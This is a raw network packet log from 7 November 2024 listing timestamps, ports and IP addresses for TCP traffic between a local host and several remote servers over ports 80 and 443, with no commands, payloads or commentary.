Nov 7, 2024 17:25:14.910314083 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:14.910371065 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:14.910901070 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:14.910913944 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:14.910926104 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:14.910938025 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:14.910969019 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:14.910980940 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:14.911428928 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:14.911441088 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:14.911451101 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:14.911499977 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:14.911499977 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:14.935293913 CET	443	49731	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:14.936428070 CET	49731	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:14.936463118 CET	443	49731	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:14.936942101 CET	49731	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:14.936949015 CET	443	49731	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:14.938463926 CET	443	49733	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:14.938777924 CET	49733	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:14.938810110 CET	443	49733	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:14.939120054 CET	49733	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:14.939126968 CET	443	49733	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:14.952802896 CET	443	49734	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:14.953165054 CET	49734	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:14.953177929 CET	443	49734	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:14.953526974 CET	49734	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:14.953531981 CET	443	49734	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:14.987915039 CET	443	49735	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:14.988558054 CET	49735	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:14.988578081 CET	443	49735	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:14.989084005 CET	49735	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:14.989089966 CET	443	49735	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:15.032171965 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:15.032192945 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:15.032211065 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:15.032226086 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:15.032241106 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:15.032242060 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:15.032254934 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:15.032270908 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:15.032270908 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:15.032295942 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:15.032295942 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:15.032311916 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:15.032318115 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:15.032326937 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:15.032342911 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:15.032356977 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:15.032356977 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:15.032361031 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:15.032402992 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:15.032455921 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:15.032497883 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:15.032540083 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:15.032640934 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:15.032656908 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:15.032696009 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:15.032696009 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:15.032834053 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:15.032860994 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:15.032876968 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:15.032917023 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:15.032917023 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:15.032917023 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:15.033174038 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:15.033229113 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:15.033703089 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:15.033833981 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:15.068741083 CET	443	49731	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:15.068916082 CET	443	49731	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:15.069015980 CET	49731	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:15.069386959 CET	49731	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:15.069386959 CET	49731	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:15.069401979 CET	443	49731	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:15.069412947 CET	443	49731	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:15.073028088 CET	49737	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:15.073064089 CET	443	49737	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:15.073157072 CET	49737	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:15.073347092 CET	49737	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:15.073359966 CET	443	49737	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:15.074955940 CET	443	49733	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:15.075014114 CET	443	49733	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:15.075064898 CET	49733	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:15.075191021 CET	49733	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:15.075206041 CET	443	49733	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:15.075217009 CET	49733	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:15.075222015 CET	443	49733	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:15.077528000 CET	49738	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:15.077572107 CET	443	49738	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:15.077641010 CET	49738	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:15.077780962 CET	49738	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:15.077791929 CET	443	49738	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:15.083781004 CET	443	49734	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:15.084124088 CET	443	49734	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:15.084187984 CET	49734	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:15.084217072 CET	49734	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:15.084238052 CET	443	49734	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:15.084247112 CET	49734	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:15.084254026 CET	443	49734	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:15.087618113 CET	49739	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:15.087641954 CET	443	49739	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:15.087737083 CET	49739	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:15.087903023 CET	49739	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:15.087914944 CET	443	49739	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:15.117201090 CET	443	49735	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:15.117368937 CET	443	49735	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:15.117446899 CET	49735	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:15.117686033 CET	49735	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:15.117697954 CET	443	49735	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:15.117708921 CET	49735	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:15.117713928 CET	443	49735	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:15.121211052 CET	49740	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:15.121234894 CET	443	49740	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:15.121315002 CET	49740	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:15.121475935 CET	49740	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:15.121480942 CET	443	49740	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:15.128087997 CET	443	49732	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:15.128475904 CET	49732	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:15.128490925 CET	443	49732	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:15.128963947 CET	49732	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:15.128968000 CET	443	49732	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:15.152998924 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:15.153018951 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:15.153033018 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:15.153089046 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:15.153122902 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:15.153285027 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:15.153342009 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:15.153353930 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:15.153357029 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:15.153387070 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:15.153399944 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:15.153460979 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:15.153476954 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:15.153495073 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:15.153544903 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:15.153544903 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:15.153544903 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:15.153939009 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:15.153990984 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:15.153996944 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:15.154006958 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:15.154035091 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:15.154068947 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:15.154083967 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:15.154103041 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:15.154135942 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:15.154181957 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:15.154665947 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:15.154679060 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:15.154689074 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:15.154738903 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:15.154772043 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:15.196579933 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:15.196621895 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:15.196634054 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:15.196644068 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:15.196764946 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:15.196764946 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:15.256000996 CET	443	49732	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:15.256442070 CET	443	49732	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:15.256510973 CET	49732	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:15.256576061 CET	49732	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:15.256597996 CET	443	49732	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:15.256608009 CET	49732	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:15.256613016 CET	443	49732	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:15.259568930 CET	49741	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:15.259618044 CET	443	49741	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:15.259689093 CET	49741	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:15.259859085 CET	49741	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:15.259875059 CET	443	49741	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:15.274641991 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:15.274725914 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:15.274749041 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:15.274780035 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:15.274805069 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:15.274840117 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:15.274879932 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:15.274879932 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:15.274971962 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:15.274997950 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:15.275012970 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:15.275032997 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:15.275032997 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:15.275074005 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:15.275326967 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:15.275341034 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:15.275358915 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:15.275443077 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:15.275443077 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:15.275444031 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:15.275763988 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:15.275782108 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:15.275798082 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:15.275808096 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:15.275821924 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:15.275842905 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:15.275845051 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:15.275861025 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:15.275876045 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:15.275897026 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:15.275897980 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:15.275917053 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:15.276127100 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:15.276140928 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:15.276163101 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:15.276186943 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:15.276186943 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:15.276202917 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:15.319039106 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:15.319063902 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:15.319080114 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:15.319093943 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:15.319156885 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:15.319156885 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:15.396925926 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:15.396948099 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:15.396964073 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:15.396975994 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:15.396987915 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:15.396998882 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:15.397001982 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:15.397017002 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:15.397032022 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:15.397042990 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:15.397099018 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:15.397124052 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:15.397279024 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:15.397329092 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:15.397340059 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:15.397346020 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:15.397383928 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:15.397450924 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:15.397528887 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:15.397578001 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:15.397591114 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:15.397605896 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:15.397650003 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:15.397650003 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:15.397825003 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:15.397849083 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:15.397875071 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:15.397885084 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:15.426286936 CET	443	49736	40.115.3.253	192.168.2.6
Nov 7, 2024 17:25:15.426367044 CET	49736	443	192.168.2.6	40.115.3.253
Nov 7, 2024 17:25:15.429280996 CET	49736	443	192.168.2.6	40.115.3.253
Nov 7, 2024 17:25:15.429290056 CET	443	49736	40.115.3.253	192.168.2.6
Nov 7, 2024 17:25:15.429589033 CET	443	49736	40.115.3.253	192.168.2.6
Nov 7, 2024 17:25:15.431906939 CET	49736	443	192.168.2.6	40.115.3.253
Nov 7, 2024 17:25:15.431966066 CET	49736	443	192.168.2.6	40.115.3.253
Nov 7, 2024 17:25:15.431971073 CET	443	49736	40.115.3.253	192.168.2.6
Nov 7, 2024 17:25:15.432264090 CET	49736	443	192.168.2.6	40.115.3.253
Nov 7, 2024 17:25:15.440202951 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:15.440228939 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:15.440244913 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:15.440260887 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:15.440277100 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:15.440332890 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:15.440332890 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:15.440376043 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:15.440388918 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:15.440439939 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:15.440439939 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:15.440463066 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:15.440475941 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:15.440509081 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:15.440531015 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:15.479331970 CET	443	49736	40.115.3.253	192.168.2.6
Nov 7, 2024 17:25:15.518269062 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:15.518291950 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:15.518305063 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:15.518362045 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:15.518368006 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:15.518393993 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:15.518402100 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:15.518409967 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:15.518438101 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:15.518465042 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:15.518755913 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:15.518805027 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:15.518814087 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:15.518821001 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:15.518860102 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:15.518860102 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:15.518876076 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:15.518889904 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:15.518937111 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:15.518937111 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:15.519229889 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:15.519282103 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:15.519285917 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:15.519294977 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:15.519334078 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:15.519334078 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:15.560646057 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:15.560667038 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:15.560718060 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:15.560745001 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:15.561826944 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:15.561873913 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:15.562127113 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:15.562242031 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:15.562246084 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:15.562258959 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:15.562271118 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:15.562283039 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:15.562288046 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:15.562341928 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:15.562341928 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:15.562386990 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:15.562412024 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:15.562469959 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:15.562469959 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:15.640054941 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:15.640079975 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:15.640108109 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:15.640121937 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:15.640135050 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:15.640139103 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:15.640161991 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:15.640191078 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:15.640219927 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:15.640219927 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:15.640377045 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:15.640402079 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:15.640444994 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:15.640444994 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:15.640485048 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:15.640499115 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:15.640562057 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:15.640583992 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:15.640595913 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:15.640629053 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:15.640633106 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:15.640644073 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:15.640681982 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:15.640681982 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:15.640877962 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:15.640902042 CET	80	49715	95.215.204.182	192.168.2.6
